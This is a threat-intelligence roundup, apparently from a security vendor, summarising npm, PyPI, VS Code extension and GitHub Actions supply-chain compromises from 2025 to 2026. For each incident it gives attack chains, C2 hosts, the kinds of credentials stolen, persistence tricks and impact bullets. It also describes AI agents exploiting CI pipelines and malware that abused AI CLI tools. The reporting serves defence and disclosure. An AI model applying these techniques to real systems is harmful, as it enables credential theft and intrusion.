On April 7, 2026, a malicious version of @velora-dex/sdk was published to npm. VeloraDEX SDK is a DeFi (Decentralized Finance) toolkit used for token swaps, limit orders, and delta trading. The compromise was initially reported by Charlie Eriksen from Aikido in GitHub issue #233 and independently confirmed by StepSecurity's AI Package Analyst. Comparing the tarballs of versions 9.4.0 and 9.4.1 revealed that only two files differed: the version field in package.json and the prepended payload in dist/index.js. No source files, no other build artifacts, and no CI workflow runs corresponded to the malicious release, confirming it was built and pushed entirely outside the project's authorized pipeline. StepSecurity ran the compromised package in a controlled GitHub Actions runner with Harden-Runner in audit mode, capturing the complete kill chain: the C2 (Command and Control) connection to 89.36.224.5 fired during the require() call — not during installation — confirming the import-time trigger. On Linux runners the install.sh script fetched but the binary download was skipped due to an OS check, though the C2 contact still occurred.

• Any developer or CI/CD runner that imported @velora-dex/sdk@9.4.1 triggered a live C2 connection and macOS binary deployment with no visible output or error
• The import-time trigger (rather than a postinstall hook) bypassed --ignore-scripts protections, a common developer defense against npm supply chain attacks
• The dropped profiler binary was installed with launchctl persistence, surviving reboots and running as the current user on both Apple Silicon and Intel Macs
• The malicious build was published with no GitHub commits, making source-based auditing impossible and exploiting the trust gap between registry and repository
• Path and binary name masquerading (com.apple.Terminal/profiler) made the implant difficult to detect through manual filesystem review
• The attack targeted DeFi developers, suggesting cryptocurrency wallet credentials and private keys were among the primary targets

On March 30–31, 2026, StepSecurity identified two malicious versions of axios published to npm. axios is the most widely used JavaScript HTTP client library with over 100 million weekly downloads. The attack was pre-staged: plain-crypto-js@4.2.0 (a clean decoy containing a full copy of the legitimate crypto-js source) was published at 05:57 UTC on March 30 to establish npm publishing history. Eighteen hours later, the malicious plain-crypto-js@4.2.1 was published at 23:59 UTC. axios@1.14.1 followed at 00:21 UTC on March 31, and axios@0.30.4 at 01:00 UTC — targeting both the modern 1.x and legacy 0.x user bases simultaneously. npm unpublished both axios versions approximately 2–3 hours after publication and issued a security hold on plain-crypto-js. StepSecurity's Harden-Runner detected the attack in the wild, flagging anomalous C2 callbacks to sfrclak.com:8000 during routine CI runs in open-source repositories including CNCF's (Cloud Native Computing Foundation) Backstage project. StepSecurity responsibly disclosed the issue to the axios maintainers and npm.

• axios, with over 100 million weekly downloads, was compromised across two release branches simultaneously — among the largest npm supply chain attacks ever documented against a top-10 package
• The self-destructing dropper left no forensic artifacts: developers inspecting node_modules after the fact found no indication of compromise
• Platform-specific RAT (Remote Access Trojan) payloads were pre-built for macOS, Windows, and Linux, maximizing the attack's cross-platform reach
• The malicious dependency was staged 18 hours in advance with a clean decoy version, defeating "zero-history package" detection heuristics
• StepSecurity Harden-Runner detected live C2 callbacks in the wild across open-source CI pipelines, enabling rapid community response
• All environments that ran npm install axios during the ~2–3 hour exposure window should treat their systems and all accessible secrets as fully compromised

On March 25, 2026, all three IoliteLabs Solidity extensions were simultaneously updated to v0.1.8, their first update in nearly eight years. Combined, they had approximately 27,500 installs across the developer community. The solidity-macos VSIX dropped from 35–40 MB to 2 MB, and the legitimate Solidity language server was gutted and replaced with five stub commands — enough UI surface to appear functional while delivering a backdoor in the background. By compromising the original publisher account rather than creating a new one, the attackers inherited eight years of installation history and credibility. StepSecurity's analysis identified two C2 (Command and Control) domains and a Windows installer component not documented in the original disclosure. The extensions specifically targeted Solidity and Web3 developers, who are high-value targets due to their access to cryptocurrency wallets and private keys.

• Approximately 27,500 installed instances across three extensions were silently updated to deliver a multi-stage backdoor on every VS Code startup
• By hijacking a dormant 8-year-old publisher account, attackers bypassed the scrutiny applied to new or unknown extensions, inheriting years of trust capital
• The backdoor was hidden inside a bundled npm dependency (pako), not the extension entry point, defeating tools that inspect only declared extension code
• Separate payloads were pre-built for Windows, macOS Intel, and macOS Apple Silicon, demonstrating a well-resourced and platform-aware threat actor
• The attack specifically targeted Solidity and Web3 developers, whose machines are likely to contain private keys, seed phrases, and wallet credentials
• No source repository commits existed for v0.1.8, making source-based verification impossible for affected developers

On March 27, 2026, two malicious releases of the telnyx Python SDK were published to PyPI (Python Package Index). telnyx had been downloaded 742,000 times in the 30 days prior to the compromise. The last known clean release was 4.87.0, published to GitHub on March 26, 2026. The issue was disclosed in team-telnyx/telnyx-python#235. StepSecurity performed independent static analysis, fully decoding all payloads. The compromise was attributed to TeamPCP — the same group behind the litellm supply chain attack three days earlier — based on shared cryptographic infrastructure. The two-version pattern reflected active operational testing: the attacker published 4.87.1, observed or tested that the Windows path was broken due to the capitalization error, and published 4.87.2 within the same day to fix it. Any environment running a routine pip install --upgrade telnyx during the exposure window would have silently pulled one of the malicious releases with no warning, no visible error, and no indication that anything had changed.

• telnyx, with 742,000 monthly downloads, was compromised across two versions by a known threat actor (TeamPCP) with confirmed links to the concurrent litellm attack
• The WAV steganography delivery mechanism — hiding the payload inside an audio file fetched at runtime — represents a novel evasion technique not previously documented in PyPI (Python Package Index) supply chain attacks
• The payload executed immediately on import telnyx, bypassing postinstall hook defenses and firing in any environment that simply used the SDK
• Mass credential harvesting targeted SSH keys, AWS credentials, GCP (Google Cloud Platform) credentials, Kubernetes service account tokens, and all environment variables — encrypted with RSA-4096 before exfiltration
• On Windows, the attack installed a persistent binary disguised as msbuild.exe in the Startup folder, surviving reboots even after the package was removed
• The rapid two-version iteration within a single day demonstrates TeamPCP's operational sophistication and active testing cadence

On March 24, 2026, a critical supply chain compromise was identified across two litellm releases. litellm is a widely used Python library providing a unified API (Application Programming Interface) interface for over 100 LLM (Large Language Model) providers including OpenAI, Anthropic, Bedrock, and Vertex AI, making it a dependency in a large number of AI application stacks, CI/CD pipelines, and production inference services. The issue was disclosed in BerriAI/litellm#24512. StepSecurity performed independent static analysis, fully decoding all payloads across three stages. The credential harvester systematically targeted SSH keys, Git credentials, AWS credentials and live Secrets Manager API calls, Kubernetes kubeconfig files and service account tokens, GCP (Google Cloud Platform) application default credentials, environment variables, and cloud instance metadata endpoints. The GitHub issue attracted 196+ comments, the majority identified as generic bot spam — a deliberate noise-suppression tactic also observed in the concurrent Trivy compromise — to obscure severity and create the impression that the issue had been resolved.

• litellm versions 1.82.7 and 1.82.8 were compromised with an identical payload using two different injection techniques, indicating a publishing credential or CI/CD (Continuous Integration/Continuous Delivery) pipeline compromise spanning multiple releases
• The .pth file injection in v1.82.8 caused the credential harvester to run on every Python interpreter startup, regardless of whether litellm was actively used
• The payload conducted live API calls to AWS Secrets Manager, Kubernetes secrets endpoints, and GCP (Google Cloud Platform) metadata servers, not just static file reads — maximizing credential exfiltration even in environments with minimal local credential files
• A persistent Kubernetes backdoor was deployed capable of laterally compromising every node in a cluster, far exceeding standard credential theft in scope
• The possible pivot via a compromised Trivy dependency in litellm's own CI/CD pipeline illustrates how one supply chain compromise can cascade into the next
• All secrets accessible on systems running litellm 1.82.7 or 1.82.8 must be treated as fully exfiltrated

On March 23, 2026, a critical security advisory was filed by GitHub user cyril-flieller reporting that all Git tags in the Checkmarx/kics-github-action repository had been compromised with a malicious infostealer in setup.sh. KICS is Checkmarx's open-source IaC (Infrastructure as Code) scanner, widely used in enterprise CI/CD pipelines for scanning Terraform, Kubernetes, Docker, CloudFormation, and other infrastructure-as-code configurations. Because the master branch appeared clean, automated branch-protection and security scanning tools that inspect the default branch would not have detected the compromise. Only workflows pinned to a specific commit SHA were unaffected. StepSecurity advised all users to immediately rotate all CI/CD secrets — cloud provider credentials, SSH keys, Kubernetes tokens, database credentials, API keys, Docker registry credentials, and GitHub PATs (Personal Access Tokens) — and to pin to commit SHAs going forward. The repository was subsequently removed from GitHub.

• All release tags of Checkmarx/kics-github-action were poisoned simultaneously, meaning every organization referencing any version tag was running attacker-controlled code
• The master branch remained clean, defeating branch-level security scanning and creating a false sense of integrity for teams that reviewed the repository's default branch
• KICS is used in enterprise CI/CD pipelines across Terraform, Kubernetes, Docker, and CloudFormation scanning workflows, giving the compromised action access to cloud credentials and infrastructure secrets across many high-privilege environments
• The attack follows the same tag-poisoning pattern as tj-actions/changed-files and xygeni-action, indicating a coordinated or copycat campaign targeting GitHub Actions with mutable version tags
• The repository was fully removed from GitHub after the compromise, disrupting legitimate users and complicating forensic investigation
• All secrets accessible in any CI/CD workflow that used this action must be treated as compromised and rotated immediately

bittensor-wallet is the official Rust-backed Python library for managing Bittensor cryptographic keys — coldkeys, hotkeys, signing, and staking. Version 4.0.2 was uploaded to PyPI on March 15, 2026 at approximately 05:06 UTC and yanked on March 17, 2026 at approximately 12:06 UTC — an exposure window of approximately 48 hours. The compromise was identified on March 17, 2026. StepSecurity performed a ground-up technical analysis based on a direct diff of the source tarballs for versions 4.0.1 and 4.0.2, and confirmed the backdoor's behavior by running the compromised package in a GitHub Actions environment with Harden-Runner in audit mode — patching out the anti-analysis uptime check to force the backdoor to fire. Harden-Runner captured all three C2 layers activating within 4 seconds of a wallet decryption call: HTTPS connections to three static domains, a DNS TXT lookup disguised as a DMARC query, three DGA domain connections, and 28 DNS tunnel chunks exfiltrating the encrypted payload to t.opentensor-cdn.com.

• bittensor-wallet is the official key management library for the Bittensor network; a backdoor here had direct access to private key material — coldkeys, hotkeys, and staking credentials — at the moment of decryption
• The backdoor used three independent exfiltration channels (HTTPS, DGA rotation, and DNS tunneling), ensuring successful exfiltration even in environments with partial network blocking
• DNS tunneling allowed full payload exfiltration with no outbound HTTP, bypassing firewall rules that block direct C2 connections
• The anti-analysis uptime check made the backdoor effectively invisible in short-lived sandbox or CI environments, complicating automated detection
• C2 domains were registered to impersonate legitimate Bittensor infrastructure (opentensor-metrics.com, subtensor-telemetry.com), making DNS-level detection difficult without full domain allow-listing
• The approximately 48-hour exposure window gave the malicious version significant time to propagate across the Bittensor developer and validator community

On March 16, 2026, StepSecurity Threat Intel was the first to detect and report malicious releases in react-native-international-phone-number and react-native-country-select, flagging them within 5 minutes of publication. StepSecurity filed security issues directly in both GitHub repositories within the hour — alerting the maintainer and community before any other security vendor. The maintainer deprecated the malicious versions within 2 hours 21 minutes of the initial publish. However, the attacker returned the following morning with a pre-staged dependency chain, confirming full account takeover rather than a one-time token leak. When StepSecurity filed a follow-up GitHub issue reporting the new anomalous dependency (@agnoliaarisian7180/string-argv@0.3.0), the maintainer confirmed they did not recognize the package — indicating the attacker had retained publishing access. Across three waves spanning March 16–18, compromised versions included 0.11.8, 0.12.1, 0.12.2, and 0.12.3 of react-native-international-phone-number, and 0.3.91, 0.4.1, and 0.4.2 of react-native-country-select. StepSecurity reported all involved packages to npm for removal.

• Two React Native packages with a combined 130,000+ monthly downloads were compromised across three attack waves spanning three days
• The multi-wave nature of the attack — with the attacker returning after initial deprecation using pre-staged infrastructure — demonstrates persistent account-level compromise rather than a simple token leak
• react-native-country-select being a transitive dependency of react-native-international-phone-number meant users of either package faced exposure, widening the blast radius beyond direct install counts
• The blockchain C2 payload represents an emerging technique to make command and control infrastructure highly resilient to takedown
• StepSecurity detected Wave 1 within 5 minutes of publication, demonstrating the importance of real-time behavioral monitoring over post-hoc package auditing
• The attack remained active across @latest for both packages during the campaign, meaning developers using unpinned version references were continuously at risk

Starting around February 26, 2026, the dev-protocol GitHub organization was flooded with over 20 Polymarket trading bot repositories, all committed by user insionCEO rather than the original dev-protocol team, with issues managed by wizardev-sol. The organization had 830 total repositories, of which 664 were forks — almost entirely Polymarket scam bots created after February 2026, alongside a small set of legitimate TypeScript and Solidity repositories dating back to 2019.

The compromise was discovered by StepSecurity's threat intelligence team while monitoring for supply chain threats targeting cryptocurrency developers. Suspicious signals included the sudden explosion of repositories, artificially inflated star counts from bot accounts, and two misspelled package names in package.json. StepSecurity confirmed the full attack chain by running the repository as a victim would — creating a .env file with a dummy wallet key and executing npm install inside a sandboxed GitHub Actions runner monitored by Harden-Runner — which confirmed real-time exfiltration to attacker-controlled Vercel endpoints, IP fingerprinting, and firewall reconfiguration. At least one GitHub issue (issue #6, which had identified the typosquatted packages and assigned them a CVSS 9.3 rating) was deleted by the attacker to prevent victims from learning about the threat; the GitHub API returns HTTP 410 for that issue URL.

On March 14, 2026, StepSecurity's threat intelligence team was the first to discover and report the ForceMemo campaign. The earliest injections were traced back to March 8, 2026, and the campaign remained active at time of publication with new repositories continuing to be compromised. The attack targeted Python projects across a wide range of types including Django apps, ML research code, Streamlit dashboards, and PyPI packages.

The root of the account takeovers was traced to GlassWorm, a self-propagating malware distributed through malicious extensions on the VS Code and Cursor marketplaces. A Reddit user independently reported discovering that "null" had committed to most of their repositories, and traced the infection to a compromised Cursor extension. An independent analysis of the GlassWorm payload confirmed it steals GitHub and npm credentials, validates them against the GitHub API, and exfiltrates them to attacker-controlled servers. The scope of the compromise was account-wide: when a single developer account was taken over, every repository under that account was injected. Evidence of this included user BierOne with 6 repos compromised, organization wecode-bootcamp-korea with 6 repos hit, and HydroRoll-Team with 6. Date discrepancies between author dates and committer dates — ranging from 33 days to 9 years — provided forensic confirmation of the force-push rebase technique across all affected repositories.

• Hundreds of GitHub Python repositories across Django, ML, Streamlit, and PyPI project types were compromised, exposing any developer who cloned and executed the affected code
• The root infection vector — malicious VS Code and Cursor extensions spreading GlassWorm — represents a scalable developer machine compromise pathway that precedes and enables the GitHub-level attack
• Account takeovers were account-wide: every repository under a compromised developer account was injected, amplifying the blast radius of each stolen credential
• The force-push rebase technique made the attack nearly invisible in repository activity feeds; only the committer date and a hardcoded "null" committer email served as forensic indicators
• The campaign was still active and ongoing at time of disclosure, with new repositories continuing to be compromised as the post was published
• Affected project types spanned the full breadth of the Python ecosystem, including packages installable by downstream users via pip install directly from GitHub

On March 3, 2026, three pull requests carrying identical malicious payloads were opened against xygeni/xygeni-action in rapid succession. PR #46 and #47 were opened by nico-car, a long-time legitimate maintainer whose credentials appear to have been compromised. PR #48 was submitted by the xygeni-onboarding-app-dev[bot] GitHub App and was approved by the same compromised maintainer account before being closed without merging. While none of the PRs were merged into the main branch, the attacker separately force-pushed the mutable v5 tag to point at the backdoored commit from PR #48.

The backdoor was designed to be difficult to detect: it ran in the background, produced an innocuous-looking debug log line ("Telemetry reported"), and used obfuscated variable names. It authenticated to the C2 endpoint using a hardcoded header, skipped TLS verification, and could execute any command on the runner during its 3-minute active window — including stealing environment variables, GITHUB_TOKEN, source code, or build artifacts. The v5 tag remained poisoned as of March 9, 2026. Users were advised to immediately pin to v6.4.0 or a specific commit SHA. StepSecurity's Harden-Runner would have detected and blocked the outbound C2 callback.

• The xygeni/xygeni-action GitHub Action used in 137+ repositories was compromised via tag poisoning, meaning affected workflows showed no visible changes yet ran a C2 implant on every execution

• Any repository referencing @v5 was exposed to full arbitrary code execution for the duration the poisoned tag remained active

• The attacker could have stolen GITHUB_TOKEN, XYGENI_TOKEN, environment variables, secrets, and source code from every affected runner

• The attack demonstrates that mutable tags are a critical supply chain attack vector — a single tag move can silently compromise hundreds of repositories without any workflow file modifications

• Compromise involved both a stolen human maintainer account and a GitHub App token, showing attackers are targeting multiple credential types within the same organization

• StepSecurity Harden-Runner would have blocked the C2 callback to 91.214.78.178, preventing secret exfiltration even if the action ran

On March 5, 2026, a GitHub account named quicktrinny — created just one day prior, with no prior activity — forked kubernetes-el/kubernetes-el and opened PR #382 titled "ci: add test" with the description "important test :)". The PR triggered the repository's vulnerable CI workflow.

The attacker iterated through 6 commits and 3 workflow runs to refine their exploit. Early runs failed due to a Makefile indentation error (spaces vs. tabs). Once corrected, the payload successfully dumped runner memory and exfiltrated the GITHUB_TOKEN along with all other secrets to the attacker's webhook endpoint. With full write permissions, the attacker then defaced the repository and injected destructive code. The kubernetes-el package was subsequently removed from MELPA and blocked from updating on the Emacsmirror, disrupting users who relied on it for Kubernetes management within Emacs.

‍

• GITHUB_TOKEN with full write permissions was exfiltrated, giving the attacker complete control over the repository

• All CI/CD secrets stored in the runner's memory were extracted and sent to an attacker-controlled endpoint

• The repository was defaced and destructive code was injected, causing direct harm to downstream users

• The package was removed from MELPA and blocked on Emacsmirror, disrupting the Emacs/Kubernetes user community

• The attack illustrates how even smaller, community-maintained repositories with pull_request_target misconfigurations are active targets

• The attacker's iterative refinement across 6 commits shows how low the barrier is for exploitation once a vulnerable workflow is identified

Between February 21 and February 28, 2026, hackerbot-claw targeted at least 6 repositories belonging to Microsoft, DataDog, the CNCF, and popular open-source projects. Over seven days it opened 12+ pull requests, achieved arbitrary code execution in at least 4 of the 7 targeted repositories, and successfully exfiltrated a GITHUB_TOKEN with write permissions from one of the most popular repositories on GitHub (aquasecurity/trivy).

Targets included microsoft/ai-discovery-agent, DataDog/datadog-iac-scanner, avelino/awesome-go (140k+ stars), ambient-code/platform, project-akri/akri (a CNCF project), aquasecurity/trivy (full repository compromise), and RustPython/RustPython (20k+ stars). The bot operated continuously across an entire week, demonstrating that AI-driven attackers do not require human presence to scan and exploit CI/CD pipelines at scale.

• At least 4 of 7 targeted repositories suffered arbitrary code execution, including projects from Microsoft, DataDog, and CNCF

• A GITHUB_TOKEN with write permissions was successfully exfiltrated from aquasecurity/trivy, one of GitHub's most popular security repositories

• The campaign marks one of the first documented cases of an autonomous AI agent actively exploiting CI/CD pipelines at scale in a real-world attack campaign

• Five distinct exploitation techniques were used across targets, showing that automated attackers can simultaneously probe for multiple vulnerability classes

• The bot attempted to manipulate an AI code reviewer into approving malicious workflow changes, introducing AI-vs-AI attack dynamics to software supply chain threats

• The campaign demonstrates that organizations cannot rely on manual review alone — automated, continuous workflow scanning and runtime controls are essential defenses

On February 17, 2026 at 11:26 UTC, cline@2.3.0 was published to npm by the clinebotorg account. At 11:40 UTC, StepSecurity's npm monitoring system flagged the release based on two anomalies: the deviation from cline's established OIDC-backed trusted publishing pattern and the absence of npm provenance attestations. Analysis of the package contents confirmed a malicious postinstall script silently deploying openclaw.

Cline is a widely used autonomous coding agent CLI supporting Anthropic, OpenAI, Google Gemini, and other AI providers, with deep integration into developer workflows and CI/CD environments. The incident was independently discovered by researcher Adnan Khan, credited as the reporter on the GitHub Security Advisory (GHSA-9ppg-jx86-fqw7). The affected version was downloaded approximately 4,000 times before maintainers deprecated it roughly 8 hours after publication and released a clean version (2.4.0) via the trusted publishing pipeline.

• cline@2.3.0 was downloaded approximately 4,000 times during an 8-hour exposure window before the malicious version was deprecated

• Any developer or CI/CD runner that installed the affected version had openclaw silently deployed as a persistent system daemon, surviving reboots and continuing to run even after cline was updated or removed

• The openclaw payload provided attackers with arbitrary command execution, access to credentials and API keys, and access to any environment variables, .env files, or SSH keys accessible to the installing user

• CI/CD build environments that installed the affected cline version were at risk of exposing cloud credentials (AWS, GCP, Azure), GitHub tokens, and any other secrets present in the build environment

• The attack exploited trust in the npm postinstall mechanism, a vector used repeatedly across the npm ecosystem, and demonstrated the risk of switching away from provenance-backed publishing pipelines

• StepSecurity's behavioral monitoring detected the anomalous release within 14 minutes of publication, ahead of broader community awareness

On January 27, 2026, a critical sandbox escape vulnerability in vm2 was publicly disclosed. vm2 is a widely used JavaScript library that enables applications to execute untrusted or user-provided code inside an isolated environment. It is commonly embedded in CI/CD pipelines, developer tooling, plugin systems, and production services that process dynamic user input. The root cause was a Promise sanitization gap introduced in versions up to 3.10.1. Any application using vm2 to isolate untrusted code was exposed to full host-level code execution by any code running inside the sandbox. A patched version (3.10.2) was released alongside the disclosure. Organizations were advised to upgrade immediately, audit indirect dependencies for transitive vm2 usage, and review whether vm2 was being used in contexts where the exposure window could have been exploited.

‍

• vm2 versions 3.10.1 and earlier were affected by a critical (CVSS 9.8) sandbox escape, exposing any host running untrusted code through vm2 to full arbitrary code execution

• The vulnerability undermined the core security guarantee of the library, meaning any application relying on vm2 as a security boundary was silently unprotected

• CI/CD pipelines, developer tooling, and production services using vm2 to process dynamic input were all in scope for exploitation

• A patched version (3.10.2) was released; organizations needed to audit both direct and transitive dependencies to ensure full remediation

• CVE-2026-22709 and GitHub Advisory GHSA-99p7-6v5w-7xg8 provide formal tracking designations for security teams monitoring remediation across their supply chain

On September 2025, researchers identified a new worm-like mutation of the Shai-Hulud malware affecting more than 70 npm packages. The attack was enabled through a malicious preinstall script disguised as a Bun installer, but its true purpose was to execute a deeply obfuscated 10MB payload designed for multi-cloud credential harvesting, propagation, exfiltration, and persistence.

The malware began by fingerprinting the environment and capturing all environment variables, enabling theft of transient CI secrets as well as long-lived tokens. It then attempted comprehensive cloud secret extraction through AWS, GCP, and Azure APIs, relying on whatever credentials were present in the environment. If running within CI, it downloaded and invoked TruffleHog to detect additional secrets in the repository.

The exfiltration stage used GitHub's Contents API via the victim’s own PAT or GitHub token, creating a public repository and uploading multiple JSON files containing system profiles, cloud secrets, environment dumps, and secret-scanning outputs. Because these repositories were public, anyone could access the stolen credentials once the attacker created them.

The malware also implemented a CI/CD persistence channel by injecting a malicious workflow and installing a rogue GitHub Actions runner with elevated capabilities. This enabled remote code execution triggered by simple discussion postings and allowed attackers—or anyone aware of the mechanism—to repeatedly run arbitrary commands on compromised systems.

A final destructive step on Linux hosts attempted to shred locally writable files as a forensic evasion technique. Thousands of public repositories containing exfiltrated data were observed within hours of initial detection, demonstrating rapid and automated execution across CI pipelines and developer systems.

• Over 70 npm packages were compromised, enabling widespread infiltration of developer workstations and CI/CD environments.

• The malware conducted full-spectrum credential harvesting across AWS, GCP, Azure, GitHub, npm, and environment variables, risking cloud account takeover, repository compromise, and downstream supply chain attacks.

• Exfiltrated credentials were uploaded to thousands of newly created public GitHub repositories, all labeled “Sha1-Hulud: The Second Coming,” exposing sensitive data to the broader internet.

• The malware established persistent remote execution capability by silently installing self-hosted GitHub Actions runners named “SHA1HULUD,” enabling trivial RCE through discussion events.

• The worm-like propagation mechanism surpassed the original Shai-Hulud outbreak, rapidly infecting new packages and accounts, and automating large-scale compromise in hours.

• On Linux hosts, the malware invoked destructive file shredding to evade detection, potentially damaging local developer environments.

• The incident represents one of the most sophisticated and far-reaching supply chain attacks seen in the npm ecosystem, combining stealth, cloud enumeration, CI persistence, mass exfiltration, and destructive behavior into a single coordinated campaign.

On September 8, 2025, researchers discovered a large-scale supply chain attack affecting @ctrl/tinycolor and dozens of related NPM packages. The attack centered on a ~3.6MB Webpack bundle that executed during installation and initiated a chain of credential harvesting, propagation, and CI/CD backdooring.

The malware comprised multiple coordinated modules:

• OS and environment reconnaissance captured platform details and dumped environment variables containing sensitive tokens such as AWS_ACCESS_KEY_ID and GITHUB_TOKEN.

• Cloud secret extraction leveraged AWS SDKs, GCP Secret Manager APIs, and Azure credential patterns to gather cloud secrets with silent error handling to avoid detection.

• Filesystem secret scanning invoked TruffleHog to search for high-entropy credentials across local paths.

• NPM propagation logic used maintainer credentials to automatically republish malicious versions of other owned packages, creating recursive infection chains.

• GitHub backdoor logic created branches named shai-hulud and injected workflows designed to continuously exfiltrate repository secrets to attacker infrastructure.

Exfiltration was performed by creating public GitHub repositories named Shai-Hulud, where triple-encoded JSON payloads containing harvested secrets were uploaded. Hundreds of such repositories appeared as compromised systems executed the malware.

The attack reflects a major escalation in the sophistication of supply chain threats, blending credential theft, cloud enumeration, CI/CD workflow manipulation, and automated propagation into a single coordinated operation. Maintainers, security teams, and the broader open-source community rapidly responded by removing compromised packages, publishing IOCs, and providing remediation guidance.

‍

• Over 40 NPM packages, including the highly popular @ctrl/tinycolor, were compromised, affecting millions of downstream installations.

• Attackers harvested sensitive cloud credentials (AWS, GCP, Azure), GitHub tokens, NPM tokens, SSH keys, and environment variables, creating widespread risk of account takeover and cloud compromise.

• The self-propagating capability allowed the malware to infect additional packages across multiple maintainers, significantly expanding the contamination radius in the NPM ecosystem.

• GitHub repositories were backdoored via injected workflows that exfiltrated all repository secrets automatically on every push event.

• Hundreds of exfiltration repositories named Shai-Hulud were created publicly, exposing sensitive data long after the compromised packages were removed from NPM.

• The attack demonstrates a new tier of supply chain threat sophistication, combining malware execution, credential theft, cloud enumeration, automated NPM publishing, and CI/CD workflow compromise in a single coordinated attack.

On September 8, 2025, a coordinated supply chain attack was discovered affecting more than 20 popular NPM packages after the maintainer fell victim to a sophisticated phishing operation. The phishing email—sent from support@npmjs.help—closely mimicked an official npm communication and successfully tricked the maintainer into initiating a 2FA reset. With the compromised credentials, the attackers published malicious versions of high-profile packages that collectively receive billions of weekly downloads.

Security researchers at Aikido first analyzed the malicious code and identified a payload designed to detect cryptocurrency wallets, replace addresses, and intercept transactions in real time. The malware was tailored for maximum financial theft rather than general system compromise, demonstrating a financially motivated and well-organized threat actor.

The attack targeted only the most influential packages under the maintainer’s account, leaving lesser-used ones untouched. This selective targeting shows the attackers had a clear understanding of the NPM ecosystem and intentionally focused on the packages with the greatest downstream reach.

The open-source community reacted quickly. Maintainers including Sindre Sorhus published clean versions, revoked compromised access, and coordinated with npm support. Meanwhile, organizations were advised to inspect dependency graphs, remove malicious versions, clear caches, reinstall dependencies, and rotate credentials.

• Over 20 widely-used NPM packages were compromised, including chalk, debug, ansi-regex, strip-ansi, color-convert, wrap-ansi, and others relied upon by a massive portion of the JavaScript ecosystem.

• The attackers introduced cryptocurrency-stealing malware capable of intercepting and modifying blockchain transactions, detecting wallets, and hijacking cryptocurrency flows.

• The malicious packages were downloaded and installed before detection, creating risk for both developers and production systems, particularly those handling crypto assets.

• The attack demonstrates how phishing and social engineering remain powerful threats even against experienced maintainers, enabling full supply chain compromise without exploiting NPM itself.

• The incident highlights systemic risks in open-source ecosystems where single-maintainer accounts control packages with billions of weekly downloads.

• Many organizations were required to rotate secrets, audit wallets, and rebuild environments to ensure the malicious code had not executed.

On September 5, 2025, GitGuardian security researchers Gaetan Ferry and Guillaume Valadon uncovered a large-scale supply chain attack affecting 327 GitHub users and 817 repositories. Compromised accounts had been used to commit a standardized malicious workflow designed to exfiltrate secrets across multiple CI/CD environments.

The malicious workflow—named “Github Actions Security”—executed on push and workflow_dispatch events, sending secrets such as DockerHub tokens, GitHub PATs, npm and PyPI credentials, AWS keys, and database passwords to the attacker’s endpoint. Before exfiltration, attackers analyzed existing workflows in each repository to determine which secret names to target, customizing the workflow to maximize success.

GitGuardian detected the campaign through internal monitoring when anomalous behavior in the FastUUID project triggered alerts. Their team quickly identified the pattern, traced the breadth of the compromise, and initiated community notifications. Over 573 repositories were directly alerted before the infrastructure hosting the exfiltration endpoint was taken offline. Despite widespread repository compromise, no malicious package releases were detected, thanks to the rapid disclosure and response efforts.

• 817 repositories and 327 GitHub users were compromised, making GhostAction one of the largest coordinated GitHub Actions supply chain attacks identified to date.

• 3,325 secrets were exfiltrated, including DockerHub tokens, GitHub PATs, npm and PyPI tokens, AWS keys, and other high-privilege credentials.

• Multiple companies had entire SDK ecosystems exposed across Python, Rust, JavaScript, and Go repositories, demonstrating how a single compromised developer account can cascade into widespread organizational risk.

• The attack exploited GitHub Actions’ default ability to read secrets, highlighting systemic risks in CI/CD design and the consequences of unauthorized workflow additions.

• Although the exfiltration endpoint was later disabled, stolen credentials remain active threats until fully rotated, leaving long-tail exposure for affected organizations.

• The incident underscores the importance of workflow-change protection, strict CI/CD policies, and continuous monitoring for secret exfiltration behaviors.

On August 26, 2025, malicious versions of the Nx package were published to npm beginning at 10:32 PM UTC. Over a span of slightly more than five hours, attackers released eight compromised versions across multiple branches, including 21.5.0, 20.9.0, 20.10.0, 21.6.0, 20.11.0, 21.7.0, 21.8.0, and 20.12.0. The attack was confirmed after the Nx maintainers published a security advisory stating that a maintainer’s npm account had been compromised through a leaked token originating from a vulnerable GitHub Actions workflow.

The malicious versions contained a post-install script that executed immediately on installation. This script harvested a wide range of sensitive developer assets: GitHub tokens via gh auth token, npm credentials from .npmrc, SSH keys, .env files, system metadata, and various cryptocurrency wallet formats. The malware also abused AI CLI tools installed on developer machines, coercing them into performing recursive filesystem scans to locate sensitive information and store findings in /tmp/inventory.txt.

Exfiltration was performed through GitHub’s API using stolen GitHub tokens. The malware created public repositories named s1ngularity-repository (and suffixed variants), uploaded triple-encoded data as results.b64, and made the repositories public. Thousands of such repositories have been observed.

On August 28, a second wave of attacks emerged. Using stolen GitHub credentials, attackers turned private repositories public and forked organization repositories into compromised accounts, preserving sensitive data even after cleanup. Repository renaming patterns—such as s1ngularity-repository-{random-string}—and widespread forking activity revealed the scale of credential compromise across affected users.

Numerous developers were also compromised indirectly through the Nx Console VSCode extension, which executed npx nx@latest --version at activation during the time the malicious versions were available. A patched version of the extension (18.66.0) has since been published.

• Eight malicious Nx versions were published and available for installation for over five hours, a significant risk given Nx’s popularity and millions of weekly downloads.

• The attack harvested highly sensitive developer assets including GitHub tokens, npm tokens, SSH keys, environment files, and multiple categories of cryptocurrency wallets.

• Introduced a novel attack method by abusing AI CLI tools (Claude, Gemini, q) to expand reconnaissance, marking one of the first supply chain attacks to weaponize developer AI assistants.

• Thousands of public GitHub repositories containing exfiltrated data were created automatically, exposing developer and organizational secrets.

• A second wave of attacks used stolen GitHub tokens to make private repositories public and fork them into attacker-controlled accounts, expanding the blast radius beyond npm installations.

• Organizations relying on Nx—directly or indirectly—face potential credential exposure, unauthorized repository access, and persistent compromise through modified shell configuration files.

• The root cause was traced to vulnerable GitHub Actions workflows, illustrating the high-risk intersection of CI/CD misconfigurations, attacker automation, and supply chain propagation.

• The incident represents a significant escalation in sophistication and scope within the broader trend of software supply chain attacks.

On July 28, 2025, the Python community detected a suspicious release of num2words version 0.5.15. The version appeared on PyPI without any corresponding tag or commit in the official GitHub repository at savoirfairelinux/num2words. This discrepancy was quickly flagged by security researcher @johnk3r, who warned that the release showed characteristics consistent with prior supply chain intrusions.

The release showed no evidence of legitimate development activity, and the timing mismatch between PyPI and GitHub further indicated unauthorized publication. Shortly after the alert spread across developer and security channels, PyPI administrators removed the package to prevent additional installations.

Automated dependency tools had already begun generating pull requests upgrading projects to the malicious version, demonstrating how quickly compromised packages can propagate. Despite this, the rapid community response helped limit exposure.

